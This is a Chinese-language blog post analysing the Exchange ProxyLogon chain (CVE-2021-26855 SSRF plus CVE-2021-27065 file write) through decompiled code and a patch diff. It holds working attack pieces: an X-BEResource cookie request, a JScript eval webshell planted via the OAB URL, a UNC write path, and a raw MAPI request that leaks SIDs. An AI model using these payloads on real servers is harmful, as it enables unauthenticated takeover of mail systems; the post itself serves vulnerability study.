Exchange ProxyLogon 漏洞分析

前言:Exchange ProxyLogon 漏洞分析笔记

参考文章:https://xz.aliyun.com/t/10098
参考文章:https://mp.weixin.qq.com/s/vz3CVwvUVMG92XFl4c4q3Q
参考文章:https://mp.weixin.qq.com/s/QYByfLZFxacaRpu5Hov7Hw
参考文章:https://devco.re/blog/2021/08/06/a-new-attack-surface-on-MS-exchange-part-1-ProxyLogon/
参考文章:https://www.blackhat.com/us-21/briefings/schedule/index.html#proxylogon-is-just-the-tip-of-the-iceberg-a-new-attack-surface-on-microsoft-exchange-server-23442

ProxyLogon漏洞

ProxyLogon中的攻击路径是CVE-2021-26855和CVE-2021-27065

影响版本

Exchange Server 2019 < 15.02.0792.010

Exchange Server 2019 < 15.02.0721.013

Exchange Server 2016 < 15.01.2106.013

Exchange Server 2013 < 15.00.1497.012

CVE-2021-26855 SSRF漏洞复现

这边通过一个脚本来发起请求,这个脚本是ProxyLogon漏洞利用中的第一个请求,这边就作为调试来进行学习

  • X-BEResource=localhost~1942062522

  • 请求地址为/ecp/random(3).js的情况

def id_generator(size=6, chars=string.ascii_lowercase + string.digits):
    return ''.join(random.choice(chars) for _ in range(size))

random_name = id_generator(3) + ".js"

ct = requests.get("https://%s/ecp/%s" % (target, random_name), headers={"Cookie": "X-BEResource=localhost~1942062522", "User-Agent": user_agent}, verify=False)
if "X-CalculatedBETarget" in ct.headers and "X-FEServer" in ct.headers:
    FQDN = ct.headers["X-FEServer"]

OnPostAuthorizeRequest中会调用OnPostAuthorizeInternal方法进行鉴权操作

接着在OnPostAuthorizeInternal方法中会看到一个是SelectHandlerForAuthenticatedRequest和SelectHandlerForUnauthenticatedRequest

这边默认的话是走SelectHandlerForUnauthenticatedRequest,也就是没有授权的处理流程

这边会走到BEResourceRequestHandler,该handler是对于资源的处理

首先需要满足BEResourceRequestHandler.CanHandle()

分析CanHandle函数,可以发现返回True需要以下两个条件:

  • HTTP请求的Cookie中含有X-BEResource键;

  • 请求应是资源型请求,即请求的文件后缀应为规定的文件类型

this.SelectHandlerForUnauthenticatedRequest(context);返回的就是一个BEResourceRequestHandler对象,而这边的BEResourceRequestHandler对象是继承于ProxyRequestHandler的

拿到了BEResourceRequestHandler的handler之后这边会继续处理 ((ProxyRequestHandler)httpHandler).Run(context);,开始调用run方法

接着调用BeginProcessRequest方法

在ThreadPool.QueueUserWorkItem(new WaitCallback(this.BeginCalculateTargetBackEnd));中会启动一个线程执行BeginCalculateTargetBackEnd方法

BeginCalculateTargetBackEnd调用ProxyRequestHandler.InternalBeginCalculateTargetBackEnd方法,AnchorMailbox对象作为参数

InternalBeginCalculateTargetBackEnd方法中继续调用 anchorMailbox = this.ResolveAnchorMailbox();,这里开始将anchorMailbox进行赋值

这里继续跟进到GetBEResouceCookie

GetBEResouceCookie方法会获取当前请求包中的X-BEResource的cookie字段

接着走到了new ServerInfoAnchorMailbox(BackEndServer.FromString(beresouceCookie), this);

首先调用的是BackEndServer.FromString(beresouceCookie),这边跟进去观察,以波浪线~进行分割,就比如上面我们请求的cookie中的字段为X-BEResource=localhost~1942062522,这种情况下切分就会分为localhost和1942062522

然后继续走到new BackEndServer(array[0], version);,波浪线分割出来的数组,将第0个字段fqdn和version字段进行封装BackEndServer对象中进行返回

经过⼀系列函数调用之后,这边后端服务器的目标FQDN计算完后调用onCalculateTargetBackEndCompleted函数

onCalculateTargetBackEndCompleted函数中继续调用InternalOnCalculateTargetBackEndCompleted函数

紧接着调⽤ BeginValidateBackendServerCacheOrProxyOrRecalculate函数,然后调用BeginProxyRequestOrRecalculate函数,然后进入到BeginProxyRequest函数中,接着就会来到GetTargetBackendServerUrl

这边主要还是观察GetTargetBackendServerUrl,前面的话就是走个流程

在GetTargetBackEndServerUrl函数中会获取要转发给指定后端的地址,这个点比较关键

  • 第一个需要关注的点就是这边的this.AnchoredRoutingTarget.BackEndServer.Version < Server.E15MinVersion,还进行了版本号的判断,如果版本大于Server.E15MinVersion,ProxyToDownLevel则为false,这个点比较关键,因为后续会判断ProxyToDownLevel是否为true,true的话就无法绕过身份验证。

  • 第二个点也就是触发ssrf的关键点,clientUrlForProxy.Host = this.AnchoredRoutingTarget.BackEndServer.Fqdn,这里的BackEndServer.Fqdn就是我们前面通过波浪线来进行控制的变量,最终最为后面请求后端的地址,这个点可控的话那么最终就控制了要请求后端的地址

					UriBuilder clientUrlForProxy = this.GetClientUrlForProxy();
					clientUrlForProxy.Scheme = Uri.UriSchemeHttps;
					clientUrlForProxy.Host = this.AnchoredRoutingTarget.BackEndServer.Fqdn;
					clientUrlForProxy.Port = 444;
					if (this.AnchoredRoutingTarget.BackEndServer.Version < Server.E15MinVersion)
					{
						this.ProxyToDownLevel = true;
						RequestDetailsLoggerBase<RequestDetailsLogger>.SafeAppendGenericInfo(this.Logger, "ProxyToDownLevel", true);
						clientUrlForProxy.Port = 443;
					}
					result = clientUrlForProxy.Uri;

还有个关键的点就是UriBuilder类,当我们执行clientUrlForProxy.Host = this.AnchoredRoutingTarget.BackEndServer.Fqdn;的时候,这里直接来看UriBuilder类的Host字段是如何进行处理的,下面的图中可以看到set部分的处理是判断传入的Host字段上的第一个字符是否为[并且其中是否含有:,如果都满足就将其用[]包裹起来。

注意:这个[]就会在ssrf中产生阻拦,不过可以进行绕过 就比如 [aaaaaaa@baidu.com?a=],那么这种重定向到baidu.com,并且通过a参数接收]来绕过解决即可,如下所示最终取的就是红框中的部分

还有个绕过的方法就是 name]@baidu.com# 这种形式,就是通过#来将后面的]进行分离,上面两种方法都是可以行

最终调用ProxyRequestHandler.CreateServerRequest(uri)向backend发起请求,这里的uri就是要转发给指定后端的地址

接着调用PrepareServerRequest方法

在调用PrepareServerRequest方法中的if (this.ShouldBlockCurrentOAuthRequest()),这边就关系到了上面说到的ProxyToDownLevel

这边跟进去可以发现如果ProxyToDownLevel为true的话那么最终if (this.ShouldBlockCurrentOAuthRequest())就会报错,结果如下图所示

CVE-2021-27065认证后的任意文件写入复现

这里CVE-2021-26855 SSRF漏洞放在后面讲,然后这里先来看下CVE-2021-27065认证后的任意文件写入漏洞,这边实际上手动利用其实也是可以的,如下所示

该漏洞的话需要一个认证后的管理员账号,这里用的管理员账户是administrator,先登录/ecp管理界面,这边访问 https://192.168.75.137/ecp/

然后编辑OAB配置,在外部链接中写⼊shell并保存即可,如下图所示

http://aaa/<script language="JScript" runat="server">function Page_Load()
{eval(Request["orange"],"unsafe");}</script>

接着重置,输入的内容为\\127.0.0.1\c$\inetpub\wwwroot\aspnet_client\1chig0.aspx,如下图所示

然后可以访问C:\inetpub\wwwroot\aspnet_client目录观察,shell进行被写进去了,如下图所示

ProxyLogon漏洞利用

那么有个问题就是,如果通过CVE-2021-26855 SSRF漏洞来配合CVE-2021-27065进行未授权攻击呢?

上面的测试脚本如下,其实我们关注的就是能够通过访问后缀来资源文件来进行ssrf利用

ct = requests.get("https://%s/ecp/%s" % (target, random_name), headers={"Cookie": "X-BEResource=localhost~1942062522", "User-Agent": user_agent}, verify=False)
if "X-CalculatedBETarget" in ct.headers and "X-FEServer" in ct.headers:
    FQDN = ct.headers["X-FEServer"]

整体的利用过程是如下所示

所以我们的攻击思路就是首先需要通过ssrf获取到域用户的cookie,然后通过文件上传来写马

获取邮件服务器的FQDN

首先发送如下请求获取X-FEServer字段,因为X-FEServer字段中包含exchange的主机名,后面需要用到

这里有个不太了解的就是正常访问的话X-FEServer同样也会有,但是不知道为什么需要下面这样的请求,后面知道了来补上

获取LegacyDN

这里需要通过ssrf去访问autodiscover.xml自动配置文件的原因是因为Autodiscover(自动发现)是自Exchange Server 2007开始推出的一项自动服务,用于自动配置用户在Outlook中邮箱的相关设置,简化用户登陆使用邮箱的流程。如果用户账户是域账户且当前位于域环境中,通过自动发现功能用户无需输入任何凭证信息即可登陆邮箱。

autodiscover.xml文件中包含有LegacyDN的值,这个LegacyDN后续用来获取SID

利用LegacyDN获取SID

消息处理API(MAPI)是Outlook用于接收和发送电子邮件相关信息的API,在Exchange 2016以及2019当中,微软又为其加入了MAPI over HTTP机制,使得Exchange和Outlook可以在标准的HTTP协议模型之下利用MAPI进行通信。整个MAPI over HTTP的协议标准可以在官方文档中查询。为了获取对应邮箱的SID,如下图所示的exploit中利用了用于发起一个新会话的Connect类型请求。

一个正常的Connect类型请求如图所示,包含UserDn等多个字段,其中UserDn指的是用户在该域中的专有名称(Distinguish Name),该字段已被我们通过上一步骤的请求中得到。该Connect类型请求通过解析后会将相关参数交给Exchange RPC服务器中的EcDoConnectEx方法执行。由于发起请求的RPC客户端的权限为SYSTEM,对应的SID为S-1-5-18,与请求中给出的DN所对应的SID不匹配,于是响应中返回错误信息,该信息中包含了DN所对应的SID,从而达到了目的。

POST /ecp/target.js HTTP/1.1
Host: 192.168.75.143
Connection: close	
Cookie: X-BEResource=Administrator@WIN-MG4C5QO445H:444/mapi/emsmdb?MailboxId=c8c9275b-4f46-4d48-9096-f0ec2e4ac8eb@lab.local&a=~1942062522;
Content-Type: application/mapi-http
X-Requesttype: Connect
X-Clientinfo: {2F94A2BF-A2E6-4CCCC-BF98-B5F22C542226}
X-Clientapplication: Outlook/15.0.4815.1002
X-Requestid: {C715155F-2BE8-44E0-BD34-2960067874C8}:2
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:86.0) Gecko/20100101 Firefox/86.0
Content-Length: 155

/o=First Organization/ou=Exchange Administrative Group (FYDIBOHF23SPDLT)/cn=Recipients/cn=37b4b036f9cc409c9aa2e2814bc6c986-Admin\x00\x00\x00\x00\x00\xe4\x04\x00\x00\x09\x04\x00\x00\x09\x04\x00\x00\x00\x00\x00\x00

使用SID获取cookie

那么这边如何获取cookie呢,通过SID来获取Cookie的流程是在ProxyLogon中发生,但是最终处理的时候是在RbacModule类中进行,这边来进行学习下

为什么说最终处理的时候是在RbacModule类中进行,因为如果你反编译了ProxyLogonHandler代码之后,其实会看到ProxyLogonHandler只是处理了下StatusCode为241,其他的都不是在这边进行处理的

这边稍微记录下跟过的流程,流程不全,感觉exchange执行流程比较绕,自己都是跟着文章直接打断点来到的,所以就无法记录全流程了,这边直接来到RbacModule中的Application_PostAuthenticateRequest方法中,如下图所示

接着就开始AuthenticationSettings authenticationSettings = new AuthenticationSettings(httpContext);,开始生成凭证,如下所示

跟进去会看到AuthenticationSettings构造函数中会生成RbacSettings对象

这边会判断路径请求,如果为/proxyLogon.ecp后缀的话,那么会生成一个SerializedAccessToken对象

那么继续来看如何生成SerializedAccessToken对象的,这边跟进SerializedAccessToken构造函数中,可以发现是通过创建一个XmlTextReader类然后对传入的数据进行反序列化解析

首先调用的是ReadRootNode方法,接着里面就是ReadRootNodeElement方法

这个ReadRootNodeElement方法跟进去之后会发现读取的就是r标签

然后就是ReadRootNode中的ReadRootAttributes方法,读取的就是r标签中的属性,比如atln

SerializedAccessToken在ReadRootNode调用完之后继续会调用ReadSidNodes

会处理s标签中属性t的不同值,分别是0,1,2

接着通过将msExchLogonAccount字段和msExchTargetMailbox和msExchTargetMailbox字段值和前面生成的SerializedAccessToken对象作为参数传入EcpLogonInformation.Create方法中

EcpLogonInformation.Create创建一个EcpLogonInformation实例,Create函数首先根据logonMailboxSddlSid生成安全标识符实例,然后根据proxySecurityAccessToken参数生成SerialzedIdentity实例,并最后生成EcpLogonInformation实例。而根据名称可知logonUserIdentity定义了登入用户的权限,因而我们能够得到任意SID对应用户的权限。

接着的话就是通过context.Response.Cookies.Add添加上对应的Cookie值,如下所示

到这边AuthenticationSettings authenticationSettings = new AuthenticationSettings(httpContext);完成,其实里面AuthenticationSettings还有一些Session的赋值操作,比如下面图中所示,这边就先跳过了

接着就是httpContext.CheckCanary();调用,如下图所示

继续跟进去,调用context.SendCanary(ref canaryStatus, ref flag);

SendCanary会把相关的凭证msExchEcpCanary进行添加作为cookie中进行返回

有了session和msExchEcpCanary就可以配合ssrf来请求后端的/ecp接口来进行利用了,上面已经讲述了,这边就不再记录了

漏洞修复

我这边比较的是Exchange Server 2016 CU18的前后两个补丁(一个是修复过的,一个是未修复的)

补丁下载地址:https://www.catalog.update.microsoft.com/Search.aspx?q=Security Update For Exchange Server 2016 CU18

这边通过比较Microsoft.Exchange.FrontEndHttpProxy.dll可以发现存在变动

这里进行了判断校验,AnchoredRoutingTarget变量的检查,如果还想上面一样通过X-BEResource来进行ssrf利用的话我们会得到503的响应码

posted @ 2023-03-03 12:25  zpchcbd  阅读(196)  评论(0编辑  收藏  举报